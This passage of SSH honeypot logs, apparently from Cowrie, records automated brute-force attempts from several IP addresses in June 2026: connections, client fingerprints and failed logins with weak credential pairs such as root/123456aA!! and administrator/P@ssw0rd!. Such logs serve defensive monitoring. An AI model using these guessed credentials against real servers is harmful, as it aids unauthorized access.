0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:07.737684Z","src_ip":"165.154.137.186","session":"b04f058b23cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:08.563866Z","src_ip":"165.154.137.186","session":"b04f058b23cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:09.840032Z","src_ip":"165.154.137.186","session":"b04f058b23cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41066,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bac32d4d969","protocol":"ssh","message":"New connection: 165.154.137.186:41066 (10.17.0.5:22) [session: 0bac32d4d969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:25.048933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:25.053799Z","src_ip":"165.154.137.186","session":"0bac32d4d969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:25.299126Z","src_ip":"165.154.137.186","session":"0bac32d4d969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:26.031634Z","src_ip":"165.154.137.186","session":"0bac32d4d969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":59606,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8182aefda47","protocol":"ssh","message":"New connection: 38.148.249.2:59606 (10.17.0.5:22) [session: a8182aefda47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:26.646659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:26.651165Z","src_ip":"38.148.249.2","session":"a8182aefda47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:26.721593Z","src_ip":"38.148.249.2","session":"a8182aefda47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd!","message":"login attempt [administrator/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:27.034943Z","src_ip":"38.148.249.2","session":"a8182aefda47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:27.281099Z","src_ip":"165.154.137.186","session":"0bac32d4d969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:28.111642Z","src_ip":"38.148.249.2","session":"a8182aefda47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.76.158.232","src_port":37418,"dst_ip":"10.17.0.5","dst_port":22,"session":"40cceba03110","protocol":"ssh","message":"New connection: 120.76.158.232:37418 (10.17.0.5:22) [session: 40cceba03110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:29.565972Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:29.570473Z","src_ip":"120.76.158.232","session":"40cceba03110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":45994,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b56766f6ffc","protocol":"ssh","message":"New connection: 170.80.65.140:45994 (10.17.0.5:22) [session: 1b56766f6ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:37.500015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:37.505042Z","src_ip":"170.80.65.140","session":"1b56766f6ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:37.628704Z","src_ip":"170.80.65.140","session":"1b56766f6ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aa123456","message":"login attempt [admin/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:38.158649Z","src_ip":"170.80.65.140","session":"1b56766f6ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:39.284026Z","src_ip":"170.80.65.140","session":"1b56766f6ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":50910,"dst_ip":"10.17.0.5","dst_port":22,"session":"52c70be9b187","protocol":"ssh","message":"New connection: 103.216.145.2:50910 (10.17.0.5:22) [session: 52c70be9b187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:51.029857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:51.034274Z","src_ip":"103.216.145.2","session":"52c70be9b187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:51.229507Z","src_ip":"103.216.145.2","session":"52c70be9b187","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd!","message":"login attempt [administrator/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:52.045497Z","src_ip":"103.216.145.2","session":"52c70be9b187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:53.245135Z","src_ip":"103.216.145.2","session":"52c70be9b187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":37452,"dst_ip":"10.17.0.5","dst_port":22,"session":"baf9702fa7d8","protocol":"ssh","message":"New connection: 43.153.12.68:37452 (10.17.0.5:22) [session: baf9702fa7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:54.156353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:54.160976Z","src_ip":"43.153.12.68","session":"baf9702fa7d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:54.231416Z","src_ip":"43.153.12.68","session":"baf9702fa7d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aA!!","message":"login attempt [root/123456aA!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:54.539369Z","src_ip":"43.153.12.68","session":"baf9702fa7d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:55.615383Z","src_ip":"43.153.12.68","session":"baf9702fa7d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":52080,"dst_ip":"10.17.0.5","dst_port":22,"session":"2928e825359c","protocol":"ssh","message":"New connection: 165.154.137.186:52080 (10.17.0.5:22) [session: 2928e825359c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:58.292701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:58.297219Z","src_ip":"165.154.137.186","session":"2928e825359c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:58.551112Z","src_ip":"165.154.137.186","session":"2928e825359c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:35:59.313445Z","src_ip":"165.154.137.186","session":"2928e825359c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:00.568580Z","src_ip":"165.154.137.186","session":"2928e825359c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45280,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc80e454a521","protocol":"ssh","message":"New connection: 165.154.137.186:45280 (10.17.0.5:22) [session: fc80e454a521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:02.664200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:02.675756Z","src_ip":"165.154.137.186","session":"fc80e454a521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:02.936709Z","src_ip":"165.154.137.186","session":"fc80e454a521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:03.804764Z","src_ip":"165.154.137.186","session":"fc80e454a521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:05.060835Z","src_ip":"165.154.137.186","session":"fc80e454a521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":59666,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e1f2d40b03","protocol":"ssh","message":"New connection: 165.154.137.186:59666 (10.17.0.5:22) [session: f2e1f2d40b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:09.208217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:09.212537Z","src_ip":"165.154.137.186","session":"f2e1f2d40b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:09.475331Z","src_ip":"165.154.137.186","session":"f2e1f2d40b03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:10.268486Z","src_ip":"165.154.137.186","session":"f2e1f2d40b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:11.536426Z","src_ip":"165.154.137.186","session":"f2e1f2d40b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":53552,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc147dff5d15","protocol":"ssh","message":"New connection: 91.92.40.13:53552 (10.17.0.5:22) [session: bc147dff5d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:36:13.839534Z"}
